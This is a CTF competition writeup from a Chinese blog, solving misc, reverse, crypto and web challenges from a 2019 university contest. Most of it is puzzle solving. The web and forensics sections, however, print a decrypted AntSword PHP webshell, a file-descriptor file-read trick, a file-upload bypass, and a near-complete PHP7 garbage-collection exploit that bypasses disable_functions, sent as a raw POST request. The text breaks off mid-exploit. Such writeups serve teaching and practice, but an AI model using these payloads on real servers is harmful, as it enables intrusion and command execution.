2019 高校运维赛 writeup

原创

合天网安实验室 于 2019-11-29 13:25:32 发布 1581 收藏 1

分类专栏： CTF

本文链接：https://blog.csdn.net/qq_38154820/article/details/103308985

本文作者：MAIS 首发于“合天智汇”公众号！

MISC

0x01 misc1

```
f = open('724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt','rb')
b = f.read()
a = []
max = int(0)
min = int(999)
for i in b:
    t = i
    if t >= max:
        max = i
    if t <= min:
        min = i
    a.append(hex(i))
print(hex(max))
print(hex(min))
```

导出数据观察可以发现最小值为0x2，最大值为0xF9，根据判断可见字符在这个范围内的应该为EBCDIC编码，且是CP1146（IBM EBCDIC英国编码）

可以编写解码脚本

```
import codecs
import ebcdic
def decode():
    with codecs.open("724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt", 'rb') as input_file:
        print(input_file.read().decode('cp1146'))
decode()
```

```
ñBuCðCx:-¦@B©B£BvC·BðB¯BlB¾$EBCDIC: /eb´s@·dik/, /eb´see`dik/, /eb´k@·dik/, n. [abbreviation, Extended Binary Co
ded Decimal Interchange Code] An alleged character set used on IBM dinosaurs. It exists in at least six mutually
 incompatible versions, all featuring such delights as non-contiguous letter sequences and the absence of severa
l ASCII punctuation characters fairly important for modern computer languages (exactly which characters are abse
nt varies according to which version of EBCDIC you're looking at). IBM adapted EBCDIC from punched card code in
the early 1960s and promulgated it as a customer-control tactic (see connector conspiracy), spurning the already
 established ASCII standard. Today, IBM claims to be an open-systems company, but IBM's own description of the E
BCDIC variants and how to convert between them is still internally classified top-secret, burn-before-reading. H
ackers blanch at the very name of EBCDIC and consider it a manifestation of purest evil.flag is flag{0a07c11e46a
f753fd24d40023f0fdce1}
```

最简单的方法是使用WPS Word打开文件，文件 -> 文件 -> 重新载入 -> IBM EBCDIC英国编码

0x02 misc2

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from flask import request
from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')


app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'


@app.route('/')
def index():
    return open(__file__).read()


@app.route("/r", methods=['POST'])
def r():
    data = request.form["data"]
    if os.path.exists(data):
        return open(data).read()
    return ''


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)
```

存在任意文件读取，flag文件open后被删除，可以读取文件描述符拿到flag

```
data=/proc/self/fd/3
```

0x02 misc3

使用010editor等十六进制编辑器打开html文件，可看见存在一段由序列`E2 80 8C`和序列`E2 80 8B`组成的隐藏字符，把`E2 80 8C`视为`0`，`E2 80 8B`视为`1`进行转换可得flag
在Chrome浏览器的开发者工具中打开也可以发现

```
0827h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2  â€Œâ€‹â€‹â€Œâ€Œâ
0837h: 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80  €‹â€‹â€Œâ€Œâ€‹â€
0847h: 8B E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C  ‹â€Œâ€‹â€‹â€Œâ€Œ
0857h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2  â€Œâ€‹â€‹â€Œâ€Œâ
0867h: 80 8C E2 80 8C E2 80 8B E2 80 8C E2 80 8B E2 80  €Œâ€Œâ€‹â€Œâ€‹â€
0877h: 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8B E2 80 8B  ‹â€Œâ€Œâ€‹â€‹â€‹
0887h: E2 80 8C E2 80 8B E2 80 8B E2 80 8B E2 80 8B E2  â€Œâ€‹â€‹â€‹â€‹â
0897h: 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8B E2 80  €Œâ€‹â€‹â€Œâ€‹â€
...
```

```
0000h: 01100110 01101100 01100001 01100111 01111011 01100101 00110010 01100001  flag{e2a
0008h: 00111001 01100011 00111000 01100010 00110001 00110001 00110111 00110101  9c8b1175
0010h: 01100101 00110110 00110110 01100011 01100110 00110010 00110001 01100110  e66cf21f
0018h: 00111000 00110101 00111001 00110011 01100010 01100011 00111000 00110101  8593bc85
0020h: 01100010 01100110 00111001 00110011 00111001 01111101                    bf939}
```

0x03 webshell

分析流量可知，在服务器上执行的shell解密后大致如下

```php
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out)
{
    @session_start();
    $key = 'f5045b05abe6ec9b1e37fafa851f5de9';
    return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
}

;;
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "8c2b4";
    echo @asenc($output);
    echo "e2e10";
}

ob_start();
try {
    $p = base64_decode($_POST["0x1b4d456c7297d"]);
    $s = base64_decode($_POST["0xb9b45688a5a08"]);
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }

    ;
```

```
    function runcmd($c)
    {
        $ret = 0;
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("
", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } else {
            $ret = 127;
        }
        return $ret;
    }

    ;
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
//ed3edq113
```

在第七个HTTP流中，读取了flag

```
In [4]: base64.b64decode('Y2QgIi92YXIvd3d3L2h0bWwvdG1wIjtjYXQgZmxhZ3xiYXNlNjQgO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ==')
Out[4]: b'cd "/var/www/html/tmp";cat flag|base64 ;echo [S];pwd;echo [E]'
```

flag经过了一层base64加密，在asoutput方法中增加了前后缀，然后在套一下base64，顺便AES加密
响应的内容如下：

```
kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTR
ZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMR
tUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz
8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3Y
itxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yM
usQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5
/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3
lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjD
g3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/D
FwNOR4M/IIIWdGr5
```

解密脚本

```php
<?php
$r=file_get_contents("enc");
$key = 'f5045b05abe6ec9b1e37fafa851f5de9';
echo openssl_decrypt(base64_decode($r), 'AES-128-ECB', $key, OPENSSL_RAW_DATA);
?>
```

拿到flag:**flag{AntSword_is_Powerful_3222222!!!}**

re

re1

`init_array`和`fini_array`都有一个函数，在`init_array`里的函数里加了反调，直接`patch`即可，然后还把`key`修改了

```
for ( j = 0; j <= 15; ++j )
    {
      result = aThisIsNotKey;
      aThisIsNotKey[j] ^= 7u;
    }
```

然后`fini_array`才是最后的比较函数

```
for ( i = 0; i <= 15; ++i )
  {
    result = (unsigned __int8)byte_202040[i + 0x10];
    if ( byte_2020E0[i] != (_BYTE)result )
      v2 = 0;
  }
```

加密函数是RC4算法，解题脚本为：

```
import base64
from Crypto.Cipher import ARC4
key = "sontXntXihsXlb~&"
data = "A"*0x10
rc41 = ARC4.new(key)
# part1 = rc41.decrypt('78695a5c2515935f6d150711ee01b3ab'.decode('hex'))
part2 = rc41.decrypt('7f305e5f1619bf7471131025d75fe1ff'.decode('hex'))

print part2
```

re2

32元一次方程组,把数据扣出来在到在线网站上解密（

```
# import re
# a = ''' 17153 * a1[27]
# + 41549 * a1[26]
# + 28202 * a1[24]
# + 36806 * a1[23]
# + 12690 * a1[22]
# + 42821 * a1[20]
# + 39834 * a1[19]
# + 17994 * a1[17]
# + 32765 * a1[14]
# + 25687 * a1[10]
# + 33388 * a1[9]
# + 143 * a1[4]
```

```
# + 63776 * a1[0]
# + 8682 * a1[1]
# - 16324 * a1[2]
# - 20022 * a1[3]
# - 48973 * a1[5]
# - 57775 * a1[6]
# - 43820 * a1[7]
# - 41070 * a1[8]
# - 15669 * a1[11]
# - 6946 * a1[12]
# - 23187 * a1[13]
# - 46495 * a1[15]
# - 8395 * a1[16]
# - 27782 * a1[18]
# - 46043 * a1[21]
# - 15428 * a1[25]
# - 59010 * a1[28]
# - 49235 * a1[29]
# - 53666 * a1[30]
# + 28539 * a1[31] == -15479857 '''
# a = a.replace("a1","").split("\n")

# matrix = [0 for i in range(32)]



# for i in range(32):
 # f = re.search("([+-]?) ([0-9]*)",a[i]).groups()[0]
 # value = int(re.search("([+-]?) ([0-9]*)",a[i]).groups()[1])
 # if f != '':
  # if f == '-':
   # value = -1*value
  # else:
   # pass
 # idx = int(a[i][a[i].find('[')+1:a[i].find(']')])
 # matrix[idx] = value
# m = ''
# for i in matrix:
 # m += str(i)+','
# m = m.strip(',')
# print m

# http://www.yunsuan.info/matrixcomputations/solvelinearsystems.html
# 44493,-326,-57451,-18424,22432,45266,20069,47551,-3751,39591,35081,45204,-6984,-9410,-54261,2139,48734,-62111,
44970,29470,-20305,-33120,39390,1513,58180,-11160,-24198,37157,50244,-1646,37027,-13318
# -54741,-3606,48560,-45416,22008,11900,-24275,-64371,32499,46114,-25714,21730,-56673,9624,28702,-39430,9187,-35
779,26720,-15144,51548,11260,48594,-45050,-59016,50109,-29262,-55650,-29492,-13828,12535,40522
# 17703,-16114,-24359,54532,15266,5819,-33999,19362,-58904,63538,64858,2665,-11844,-29623,20144,43681,32755,-425
32,-60912,20331,3541,53780,29817,-4711,-56853,57822,31675,52683,57988,-33486,12097,24590
# 24247,64898,-24733,3430,41149,17219,-16545,42702,-1315,24960,27013,28,2783,-15867,-12126,28232,-3823,37522,481
51,-20727,-12037,-9347,-39338,-50524,-38675,-26114,-4975,59561,32393,36741,51792,-24297
# -32261,-54551,15294,-61664,-40648,-12277,-55300,-63212,41251,-45548,-22362,-32993,64221,-43046,-40770,5380,577
38,62825,52035,3079,-7119,26782,-36194,-56102,-19468,54655,35562,-59856,25143,13289,64702,23822
# -9407,64048,60965,33702,-12654,-56126,-47366,47843,30627,-29056,32583,-50822,-6240,43847,47577,-12371,8314,225
58,9886,43924,-23282,-13137,-13716,6461,63681,-43391,-37217,-43714,-55909,-62806,5977,36688
# -23136,47281,20301,-61441,2565,57144,44459,-31365,16024,54218,-56894,-52977,-39404,-63477,63390,-22773,46343,-
50258,40389,-25970,23917,-56685,47030,5856,-55893,36904,44955,58093,13407,49426,26401,-25199
# 62577,23069,18654,4696,22400,-16178,42663,-34941,-50803,-28229,15341,3911,-45565,50053,-45774,18373,7881,-2814
0,1742,-29986,58351,14952,-40067,15201,11269,53436,41681,22198,-63863,-50393,-14615,16722
# -39728,57392,910,37963,-2274,-61995,-43938,-12412,-10642,-10303,31888,7362,-16356,-615,40135,-11314,-17185,544
31,-61134,-4620,-4591,29560,35119,-51958,40581,34037,-65066,5750,-6232,-60002,17326,30503
```

```
# -16296,-8786,48180,-65236,-48383,-32713,61315,-58771,-47593,-14512,6483,56260,25366,58190,-60203,27537,50686,-7295,-3885,61335,-39212,-40687,-19258,-57463,32582,2313,-24504,-11629,-8917,31106,-4535,38212
# -31610,52623,-35005,25689,-9320,63683,39253,51102,-16508,11413,3265,35320,18706,6847,-55110,528,35247,-63180,30153,-13666,39538,-49046,33264,51928,13203,17103,59096,48721,33683,-42949,-60950,26096
# 47557,52902,-12806,-59773,-9182,-57417,-18447,6146,15859,59808,30791,-54963,45466,-61599,49637,21116,15786,3656,-18454,28722,46709,21307,50390,5176,-30277,-25544,-17882,-25149,61328,-17363,49588,21848
# 37688,23309,-2616,59129,5104,-12561,-3215,60503,29438,42505,-49703,38339,12457,45365,-15471,33925,-23447,-50859,-86,54770,36604,-3773,-9573,-25835,42417,4680,-20107,58284,-45915,-56171,18191,29164
# 20452,18062,-56424,56918,-10457,50206,-12288,-54591,-44777,24700,12962,38458,-52078,19385,18867,-9805,-48011,-27363,-20890,13714,-788,50998,29867,-7954,-34056,16127,5149,49705,-34732,-54092,64657,35416
# -39611,25246,1951,-37145,-3824,21330,-49145,-43603,8191,-60671,-53032,-48392,-15417,40645,-13059,-58653,42329,-51631,-50173,18903,52431,-44904,37330,40656,-34380,24333,41644,-18100,-57765,-64534,44968,-26760
# -39824,44401,45166,53538,-2540,43929,-54452,-11199,-19801,23926,-13592,47959,19579,-29922,30392,15405,61374,17545,39526,7046,-34144,57593,-5305,-46917,44211,-4511,-23881,29438,-39081,34688,28579,3296
# 62215,19566,15203,-30340,-15964,59815,-13939,60087,-43008,-44925,-49239,-40498,-54453,-33557,6928,24510,36587,-24721,7959,49381,-21456,-40311,8487,-61111,-18918,-33393,-9301,41415,-61619,64380,40454,58498
# 35423,-12994,33894,40977,57560,63291,-32256,-23534,40291,5725,-40660,43131,-19119,21483,39085,62097,-33732,-63756,35027,3633,30380,36333,-13528,53612,6578,-47605,10809,-43202,14305,2766,-42819,-34232
# 44942,63420,58838,55103,27162,53130,27559,26302,-24313,-42499,-21629,34155,-2633,-55014,-22926,19761,-305,-63708,13647,31419,62674,-32334,-47684,-54226,-50848,10136,26215,44427,27903,48054,-15102,-22362
# 6300,-30549,9153,26426,46559,-55683,62261,-44433,6137,-46194,-57198,33875,-45266,51231,65438,45781,-6605,-43397,-7672,-48485,-54035,-12567,-47051,-62256,13058,55552,4221,61587,23936,-9828,59525,50225
# -28415,36297,5686,59059,14796,-11307,-57251,-29507,-41415,12090,62270,8353,-24476,-41751,-46589,63967,55058,10481,30422,47722,-55870,-6321,53136,12704,42884,-34350,-32922,-64909,-50870,13236,39286,49349
# 15479,10453,58731,-9782,63976,-9166,5707,-21516,-2689,29174,23244,-47968,-38843,-13488,61646,3991,57764,-57649,63445,-487,6252,52361,16634,42491,-30704,54808,-61218,18612,-32873,-58677,-2280,35233
# 36368,-30534,50614,-7805,9520,-60795,-17511,-34692,-22139,-49013,-24672,41197,35504,28641,11252,-22264,56629,23301,-55578,-61882,-48469,28509,-8197,-43020,15688,29396,-36911,38392,58430,-6762,38132,56670
# 3542,-17533,28247,1791,-44455,-2748,21876,-38052,8511,61205,-16528,-4664,-13326,16494,-52661,-38860,58300,-60164,-39975,-19566,55072,-55251,-8160,-54674,58305,-29010,-6627,35318,-15962,19958,-10549,-8177
# -7510,-61303,25124,35004,-34033,-49161,-6021,-36125,37617,-10528,-47741,-45531,-1546,2052,-59464,29853,-22656,31346,26883,38644,26034,-24655,-9816,8621,-22299,-23745,37204,47703,13827,15394,-23945,48741
# 19310,1288,-38840,-49229,-40618,39102,34746,-41363,-45367,41169,-21440,-36535,33349,-43289,47866,5395,56668,-41392,30949,53570,-40337,16432,-1430,-28334,35917,-46487,61644,8511,-42458,27496,-59664,64335
# -18187,28981,-53485,17974,41797,-20458,-8491,-16831,33384,53494,-31995,51835,-12109,30996,42087,60427,12986,-51691,-58925,-40872,33269,3954,56824,-30202,59304,-30793,26203,13806,-42110,41403,-1100,-26194
# -40011,-26232,-4849,-60564,20386,44081,-50739,40590,-17237,19883,-35381,28950,-4203,19225,-50964,-39946,28859,12186,38175,-22511,-20539,15071,48156,34737,42732,-60250,-61430,-11009,47559,53536,-8879,46741
# -42653,43668,-10988,3756,34932,61953,22126,29632,59350,-48711,-23958,-33557,50367,41961,-17831,-4583,41615,27387,34328,-29750,9871,-49888,41239,18672,20039,56136,-30956,7689,45907,5442,-41068,23514
# -26968,-23313,38342,5179,10458,3678,-32333,-43275,-2423,-60827,-42621,15986,-27590,59508,53583,19553,-56307,869,6738,63177,-30359,50228,21760,-19919,24036,-18153,41909,-6931,-5822,-30949,-16572,11920
# 8386,57646,35980,-4029,8314,18877,4313,29760,-47059,46356,52295,35013,57567,-25490,64744,1703,55168,-62526,37870,-63227,-27315,31098,6747,63177,55323,-23370,-37329,54696,-6309,43819,-12433,8882
# 63776,8682,-16324,-20022,143,-48973,-57775,-43820,-41070,33388,25687,-15669,-6946,-23187,32765,-46495,-8395,17994,-27782,39834,42821,-46043,12690,36806,28202,-15428,41549,17153,-59010,-49235,-53666,28539

# 34771791
# -9451883
# 29782736
# 27959979
# -10644544
# 230179
# 15871572
# 12844672
# -7906855
# -5359162
# 34815239
# 23582278
```

```
# 30273764
# 7501764
# -35816639
# 30983928
# -4472687
# 18523534
# 20982750
# 5070455
# 3066924
# 26232118
# -860377
# -14482154
# -17062269
# 6695285
# 16909859
# -1622782
# 33025495
# -10454601
# 51177223
# -15479857


res = [99,115,50,56,82,116,116,104,72,113,115,98,117,102,111,106,115,76,122,55,121,103,50,68,89,113,87,81,69,69,
99,89]

flag = ''.join([chr(i) for i in res])

print flag
```

crypto

rsa1

```
from flag import FLAG
from Crypto.Util.number import *
import gmpy2
import random

while True:
    p = int(gmpy2.next_prime(random.randint(10**399, 10**400-1)))
    q = int(str(p)[200:]+str(p)[:200])
    if gmpy2.is_prime(q):
        break

m = bytes_to_long(FLAG)
n = p*q
e = 65537
c = pow(m,e,n)

with open("enc","wb") as f:
    f.write(str(c))
    f.write("\n")
    f.write(str(n))
```

p和q都是400位的数,p和q前后200相反

可以设p=`a*pow(10,200)+b` q=`b*pow(10,200)+a`

所以n=`a*b*pow(10,400)+a*a*pow(10,200)+b*b*pow(10,200)+a*b`

可以将n的前200位和后200位凭借得到 `a*b`

再用n减去`a*b`部分得到`a*a + b*b`

求出a,b后再求出p,q

```
from Crypto.Util.number import *
import gmpy2
import random
from gmpy2 import *
n=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800
21066127607547324391257803263684574686690799140082210093930925498879813981907487546461281338534748757144998524302
38864733718112694446181925952453800641624130312549811463546679838906070676516943105284895688821797527000692482663
63419279800533599110752956683422994063067478059256865734197564060950391628474751589200693258988993182223966093936
85237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715
64344260891035199487274034356658280883106673608852733376201126327353306554048410596408742403061760233659847961156
96110187085300245910230152678125456974783783488668404345514771268562617675352090920478101943870336432743333039264
92423370062572301
e = 65537
nnn1=int(str(n)[:200])-1
nnn2=int(str(n)[600:])
ab=int(str(nnn1)+str(nnn2))

ab=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800
21066127607547324391257803263684574686690799140082210093930925498879813981907487546461281266736088527333762011263
27353306554048410596408742403061760233659847961156961101870853002459102301526781254569747837834886684043455147
71268562617675352090920478101943870336432743333039264233700625723 01

a2b2=n-(pow(10,400)+1)*ab #a**2+b**2
# print a2b2
t=a2b2/pow(10,200)
# print t

t1=t+2*ab #(a+b)**2
print "(a+b)**2:",t1 #(a+b)**2
t2=t1-4*ab #(a-b)**2
print "(a-b)**2:",t2 #(a-b)**2

tt1=iroot(t1,2)[0]
print "(a+b):",tt1 #(a+b)
tt2=iroot(t2,2)[0]
print "(a-b):",tt2 #(a-b)

b=(tt1-tt2)/2
a=tt1-b
print "b:",b
print "a:",a

print iroot(t1,2)
print iroot(t2,2)

p = a*pow(10,200)+b
q = b*pow(10,200)+a

print p*q==n
print "p",p
print "q",q

phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)
```

```
print "d",d
c=16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435
90402275026954145664125688707978058572905468102592169904413992708667647912823249941683505109024045823628085106358905906918163880219171791159994089779723503883882732273720758418812370941307753520109932509911074619670242177858898804944260465524360485272779134935129172123057793379462701536921333915058641852447346523437542044834098133004920593329170560156328319640984640846506143800101014189139773806642052411963852490895833140669867954489635137659458388360161208673883498917507031778169021716477365793958969147653961334328943172710369289900275837392981508990457419051197868008483118332868110446755371388876296597689601340451831612828852001693482817667448254566032335859421179446162462211683679
flag = gmpy2.powmod(c, d, n)
print hex(flag)[2:].decode('hex')
```

##AES

题目

```
#!/usr/bin/env python3
# coding=utf-8

import os
import signal
from Crypto.Cipher import AES
from Crypto.Util import Counter

def enc(msg, key):
    ctr = Counter.new(128,  initial_value=sum(msg))
    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
    return cipher.encrypt(msg)

if __name__ == '__main__':
    signal.alarm(60)
    key = os.urandom(16)
    with open('/home/ctf/flag', 'rb') as f:
        flag = f.read()
    assert len(flag) == 30
    enc_flag = enc(flag, key)

    print("Welcome to the our AES encryption system!")
    print(f"Here is your encrypted flag: {enc_flag}")
    for i in range(30):
        try:
            plaintext = input("Please input your plaintext: ")
            plaintext = bytes.fromhex(plaintext)
            ciphertext = enc(plaintext, key)
            print(f"Here is your ciphertext: {ciphertext}")
        except Exception:
            print('Error!')
            break
    print('Bye~')
```

Aes的counter模式(CTR)

其中initial_value=sum(msg)，当我们输入的plaintext满足sum(plaintext)==sum(flag)时，flag ^ encflag == input ^ enc_input，从而求得flag=encflag ^ input ^ enc_input

flag长度30位 `0x20*30` 从爆破到 `0x7f*30`

```python
from pwn import *
import sys
from Crypto.Util.number import *

def check(str1):
 if "flag" in str1:
  return True
 else:
  return False

# for x in range(0x20,0x7f):
for x in range(92,93):
 print(x*30)
 p = remote("111.186.57.123",10001)
 p.recvuntil("flag: b")
 enc_flag = p.recvuntil("\n",drop=True)
 exec("enc_flag = "+enc_flag)
 for i in range(30):
  p.recvuntil("plaintext: ")
  plaintext=chr(x)*29+chr(x+i)
  p.sendline(plaintext.encode('hex'))
  p.recvuntil("ciphertext: b")
  ciphertext = p.recvuntil("\n",drop=True)
  exec("ciphertext = "+ciphertext)
  res = long_to_bytes(bytes_to_long(ciphertext)^bytes_to_long(plaintext)^bytes_to_long(enc_flag))
  if check(res):
   print res
```

最终`sum(flag)`在2760到2790之间

flag为 `flag{Don't_Reu5e_n0nCe_1n_CTR}`

web

ezupload

`<!---/.login.php.swp-->`拿到源码

```php
<?php
#error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
    $sql = "select password from user where name=?";
    if ($stmt = $mysqli->prepare($sql)) {
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($dpasswd);
        $stmt->fetch();
        if ($dpasswd === $password){
     $_SESSION['login'] = 1;
            header("Location: /upload.php");
        }else{
            die("login failed");
        }
        $stmt->close();
    }
}else{
    header("Location: /index.php");
}

$mysqli->close();
```

mysql没有查到记录时,`$dpasswd===NULL`
此时令`$password===NULL`即`$_POST['password']===NULL`,则成功登陆

登陆后进入上传界面,测试发现,后端校验文件头和content-type
过滤php后缀名,上传.php5文件,成功拿到shell

拿到flag:flag{logical_bypass_not_weak_password}

expass(bypassDF)

开局一个后门

```php
<?php
if(isset($_GET['src']))
{
    highlight_file(__FILE__);
}

eval($_GET['cmd']);
```

php垃圾回收https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

改一下执行的命令

```
POST /?cmd=eval($_POST['a']); HTTP/1.1
Host: 111.186.57.43:10101
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3
904.97 Safari/537.36
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 5781
Content-Type: multipart/form-data; boundary=--------1608040292

----------1608040292
Content-Disposition: form-data; name="a"

@pwn('/readflag');

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
```

```
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $text_size) {
            $deref = leak($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $text_size) {
            $deref = leak($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) { # ELF header
            return $addr;
        }
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);
```

```
        if($f_name == 0x6d6574737973) { # system
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

class ryat {
    var $ryat;
    var $chtg;

    function __destruct()
    {
        $this->chtg = $this->ryat;
        $this->ryat = 1;
    }
}

class Helper {
    public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
    $contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
    die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
```

```
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
